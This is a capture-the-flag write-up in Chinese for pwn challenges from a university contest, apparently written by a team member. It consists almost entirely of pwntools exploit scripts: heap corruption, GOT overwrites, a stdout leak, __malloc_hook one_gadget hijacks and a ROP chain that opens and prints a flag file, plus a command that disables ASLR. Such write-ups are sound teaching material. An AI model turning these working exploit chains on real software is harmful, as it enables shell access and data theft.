高校战“疫”网络安全分享赛-部分PWN题-wp

1.本文由复眼小组的RGDZ师傅原创
2.本文共3500字,图片30张 预计阅读时间10分钟
3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!

from pwn import *

context.log_level = "debug"

io = process("easyheap")
# io = remote("121.36.209.145", 9997)
elf = ELF('easyheap')
libc = ELF("libc.so.6")

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendlineafter("How long is this message?", str(size))
    io.sendafter("What is the content of the message?", buf)

def free(idx):
    c(2)
    io.sendlineafter("What is the index of the item to be deleted?", str(idx))

def edit(idx, buf):
    c(3)
    io.sendlineafter("What is the index of the item to be modified?", str(idx))
    io.sendafter("What is the content of the message?", buf)


add(0x60, '\x00')
add(0x70, '\x00')

free(0)
free(1)

c(1)
io.sendlineafter("How long is this message?", str(0x500))
add(0x20, '\xaa')
add(0x50, '\xaa')

buf = p64(0)
buf += p64(0x21)
buf += '\x70'    #fix    
edit(0, buf)
attach(io)

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

free(2)
io.recv()
atoi_addr = u64(io.recv(6)+"\x00\x00")
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
log.info("libcbase: 0x%x"%libcbase)
log.info("system addr: 0x%x"%system_addr)

# 2 is 0 so fix 1
buf = p64(0)
buf += p64(0x21)
buf += p64(elf.got['atoi'])    #fix  atoi to system
buf += p64(0x500)
edit(0, buf)

edit(1, p64(system_addr))

io.recv()
io.sendline("/bin/sh")
io.interactive()

echo 0 > /proc/sys/kernel/randomize_va_space

from pwn import *

context.log_level = "debug"

# io = process("./woodenbox2")

elf = ELF('./woodenbox2')
libc = ELF('./libc.so')

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendafter("Please enter the length of item name:", str(size))
    io.sendlineafter("Please enter the name of item:", buf)

def edit(idx, buf):
    c(2)
    io.sendlineafter("Please enter the index of item:", str(idx))
    io.sendafter("Please enter the length of item name:", str(len(buf)))
    io.sendafter("Please enter the new name of the item:", buf)

def free(idx):
    c(3)
    io.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x20, '') # 0
    add(0x20, '') # 1
    add(0x60, '') # 2
    add(0x60, '') # 3
    add(0x60, '') # 4
    add(0x60, '') # 5
    add(0x80, '') # 6 #unsort bin
    add(0x60, '') # 7 
    add(0x60, '') # 8 
    add(0x60, '') # 9 
    # add(0x80, '') # 10
    add (0x20, '')  # free
    add(0x60, '') # 11

    free(6) # 
    free(6)
    free(2)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += "\x20"
    edit(0, buf)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf +=  p16(0x25dd) # stderr+157
    edit(2, buf)

    attach(io)

    add(0x60, '')
    add(0x60, '')
    add(0x60, '')   # stderr+157

    # attack stdout
    buf = '\x00'*0x33
    buf += p64(0xfbad2887|0x1000)
    buf += p64(0)*3+'\x00'
    edit(4, buf)            # leak _IO_2_1_stdout_+131

    # leak libcbase
    stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("stdout_a: 0x%x"%stdout_a)
    libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192
    log.success("libcbase: 0x%x"%libc.address)

    free(6)
    # malloc_hook_near = "\xed\x1a"
    malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)
    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += malloc_hook_near
    edit(4, buf)    #fix fastbin and attack malloc-0x23

    # attack malloc
    free(6)
    free(6)
    add(0x60, '')
    add(0x60, '')   
    add(0x60, '') # malloc_hook -0x13
    #fix fastbin

    free(3)
    edit(5, p64(0))


    # # unsorted bin attack
    # buf = '\x00'*0x68
    # buf += p64(0x90)
    # buf += p64(0)
    # buf += "\x00"
    # edit(1, buf)
    # add(0x80, '')

    # attack get shell
    one_gadget = libc.address + 0xf02a4
    # one_gadget = p64(one_gadget)[:3]
    buf = '\x00'*0x13
    buf += p64(one_gadget)
    edit(4, buf)

    # gdb.attach(io)
    c(4)
    io.interactive()

for i in range(200):
    try:
        # io = remote("121.36.215.224", 9998)
        io = process("./woodenbox2")
        pwn()
    except:
        print(i)

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"

io = process("./pwn")
# io = remote("121.36.209.145", 9998)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def init():
    name = "wo si n baba!!!!,sb chu ti ren"
    io.sendafter("son call babaaa,what is your name? ", name)

def c(idx):
    io.sendlineafter(">> ", str(idx))

def add(size, real_size=0x7E):
    c(1)
    io.sendlineafter("______?", str(size))
    io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))

def free(idx):
    c(2)
    io.sendlineafter("index ?", str(idx))

def show(idx):
    c(3)
    io.sendlineafter("index ?", str(idx))

def edit(idx, buf):
    c(4)
    io.sendlineafter("index ?", str(idx))
    io.sendafter("___c___r__s__++___c___new_content ?", buf)

init()
add(0x80)
add(0x20)

free(0)

add(0x80)
show(0)

main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))
libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)
libc.address = libc_addr
log.success(hex(libc.address))

add(0x10)
add(0x60)
add(0x10)

#attack bss
free(3)
buf = "\x00"*0x18
buf += p64(0x71)
buf += p64(0x603268) #0
edit(2, buf)

add(0x60)
add(0x60) # 5

# leak environ
buf = '\x00'*0x68
buf += p64(libc.symbols['environ'])
edit(5, buf)
show(0)
environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))
log.success("environ: 0x%x"%environ)

free(1)
add(0x80, 0x200)

io.recv()
# attack stack and malloc_hook
main_rbp_addr = environ - 0xf8
malloc_hook_addr = libc.symbols['__malloc_hook']
log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)
buf = '\x00'*0x60
buf +=  "flag".ljust(8, "\x00")
buf += p64(0) # 0
buf += p64(main_rbp_addr-0x130)   # 1

edit(5, buf)

layout = [
    # "flagx00x00x00x00", # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret

    0x00000000004023b3, # : pop rdi ; ret
    0x603268+0x70,       # stack_addr - 0xf8,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x0000000000033544, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000001077F5, # : syscall ; ret

    0x00000000004023b3, # : pop rdi ; ret
    3,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # : pop rdx ; ret
    0x100,
    elf.plt['read'],

    0x00000000004023b3, # pop rdi
    1,
    0x00000000004023b1, # pop rsi
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # pop rdx
    0x50,

    libc_addr + 0x0000000000033544, # pop eax
    1,
    libc_addr + 0x00000000001077F5, #syscall

    elf.plt['exit']
]

c(4)
io.sendlineafter("index ?", str(1))
# attach(io)
io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))
io.interactive()